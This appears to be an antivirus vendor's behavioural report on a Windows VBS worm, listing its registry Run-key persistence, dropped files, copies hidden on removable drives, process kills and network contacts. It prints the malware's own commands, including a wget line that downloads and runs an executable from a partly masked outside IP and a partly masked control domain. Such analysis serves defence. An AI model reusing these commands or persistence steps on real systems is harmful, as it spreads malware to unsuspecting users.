Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\software\microsoft\windows\currentversion\run] 'Recursive64064' = 'wscript.exe //B "%APPDATA%\Recursive64064.vbs"'
- [<HKLM>\software\microsoft\windows\currentversion\run] 'Recursive64064' = 'wscript.exe //B "%APPDATA%\Recursive64064.vbs"'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\recursive64064.vbs
- %APPDATA%\microsoft\windows\start menu\programs\startup\start.vbs.lnk
Creates the following files on removable media
- <Drive name for removable media>:\recursive64064.vbs
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /IM wscript.exe /F
- '<SYSTEM32>\taskkill.exe' /IM silencemin-uninstaller.exe /F
- '<SYSTEM32>\taskkill.exe' /IM Werfault.exe /F
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\wscript.exe
Modifies file system
Creates the following files
- %APPDATA%\1actua64064\install.vbs
- C:\progrrm\start.cmd
- %APPDATA%\1actua64064\taskshedu64bits.exe
- nul
- %APPDATA%\recursive64064.vbs
- %APPDATA%\1actua64064\silencemin-uninstaller.exe
- %APPDATA%\1actua64064\delservice.vbs
- %APPDATA%\1actua64064\recursive64064.vbs
- %APPDATA%\1actua64064\wget.exe
- %APPDATA%\1actua64064\killwsript.vbs
- %APPDATA%\1actua64064\killstatrup.vbs
- %APPDATA%\1actua64064\killroaming.vbs
- %APPDATA%\1actua64064\dowload.bat
- %APPDATA%\1actua64064\deltemp.vbs
- %APPDATA%\1actua64064\del.bat
- %APPDATA%\1actua64064\b.vbs
- C:\progrrm\start.vbs
- C:\progrrm\taskschedulerview.exe
Sets the 'hidden' attribute to the following files
- <Drive name for removable media>:\recursive64064.vbs
Deletes the following files
- %WINDIR%\temp\adobearm.log
- %WINDIR%\temp\ts_77d1.tmp
- %WINDIR%\temp\ts_5080.tmp
- %WINDIR%\temp\ts_4f66.tmp
- %WINDIR%\temp\ts_39ba.tmp
- %WINDIR%\temp\ts_3852.tmp
- %WINDIR%\temp\ts_361e.tmp
- %WINDIR%\temp\ts_8e67.tmp
- %WINDIR%\temp\ts_316a.tmp
- %WINDIR%\temp\ts_2b0f.tmp
- %WINDIR%\temp\ts_267a.tmp
- %WINDIR%\temp\fxstiffdebuglogfile.txt
- %WINDIR%\temp\fxsapidebuglogfile.txt
- %WINDIR%\temp\fwtsqmfile00.sqm
- %WINDIR%\temp\dmi8538.tmp
- %WINDIR%\temp\ts_2bfb.tmp
- %WINDIR%\temp\8147932992814195939363050711163993686\adobearm.exe
Substitutes the following files
- %LOCALAPPDATA%\Microsoft\Windows\<INETFILES>\desktop.ini
Network activity
Connects to
- 'wi#####2.publicvm.com':64064
- '21#.#08.228.131':80
TCP
HTTP GET requests
- http://21#.#08.228.131/taskshedu64bits.exe
UDP
- DNS ASK wi#####2.publicvm.com
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%APPDATA%\1Actua64064\install.vbs"
- '%APPDATA%\1actua64064\silencemin-uninstaller.exe'
- '<SYSTEM32>\wscript.exe' "%APPDATA%\1Actua64064\killroaming.vbs"
- '<SYSTEM32>\wscript.exe' "%APPDATA%\1Actua64064\killstatrup.vbs"
- '<SYSTEM32>\wscript.exe' "%APPDATA%\1Actua64064\delservice.vbs"
- '<SYSTEM32>\wscript.exe' "%APPDATA%\1Actua64064\deltemp.vbs"
- '<SYSTEM32>\wscript.exe' "%APPDATA%\1Actua64064\killwsript.vbs"
- '<SYSTEM32>\wscript.exe' "%APPDATA%\1Actua64064\b.vbs"
- '<SYSTEM32>\wscript.exe' "%APPDATA%\1Actua64064\Recursive64064.vbs"
- '<SYSTEM32>\wscript.exe' //B "%APPDATA%\Recursive64064.vbs"
- '%APPDATA%\1actua64064\wget.exe' -c http://21#.#08.228.131/taskshedu64bits.exe
- '%APPDATA%\1actua64064\taskshedu64bits.exe'
- 'C:\progrrm\taskschedulerview.exe'
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\1Actua64064\del.bat" "' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /delete /f /tn "services" & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\1Actua64064\dowload.bat" "' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\1Actua64064\del.bat" "
- '<SYSTEM32>\find.exe' /i " Vista"
- '<SYSTEM32>\find.exe' /i " 6.0"
- '<SYSTEM32>\find.exe' /i " 2008"
- '<SYSTEM32>\find.exe' /i " 2003"
- '<SYSTEM32>\find.exe' /i " 5.2"
- '<SYSTEM32>\find.exe' /i " 5.1"
- '<SYSTEM32>\find.exe' /i " XP"
- '<SYSTEM32>\find.exe' /i " 2002"
- '<SYSTEM32>\find.exe' /i " 2000"
- '<SYSTEM32>\find.exe' /i " NT"
- '<SYSTEM32>\cmd.exe' /S /D /c" set _os_ "
- '<SYSTEM32>\find.exe' /i " 6.1"
- '<SYSTEM32>\find.exe'
- '<SYSTEM32>\cmd.exe' /S /D /c" echo.NetBT_Tcpip_{6A52BE73-EC8E-4F63-A268-7517A50DCB38} (9E9A191FCA69) "
- '<SYSTEM32>\find.exe' /i "Windows"
- '<SYSTEM32>\cmd.exe' /S /D /c" echo.Workstation active on "
- '<SYSTEM32>\cmd.exe' /c net.exe config workstation
- '<SYSTEM32>\net1.exe' config workstation
- '<SYSTEM32>\net.exe' config workstation
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 20 -w 5
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\1Actua64064\dowload.bat" "
- '<SYSTEM32>\schtasks.exe' /delete /f /tn "services"
- '<SYSTEM32>\cmd.exe' /c schtasks /delete /f /tn "services" & exit
- '<SYSTEM32>\timeout.exe' /t 2
- '<SYSTEM32>\cmd.exe' /S /D /c" echo.Software version Windows 7 Enterprise "
- '<SYSTEM32>\find.exe' /i " 7"
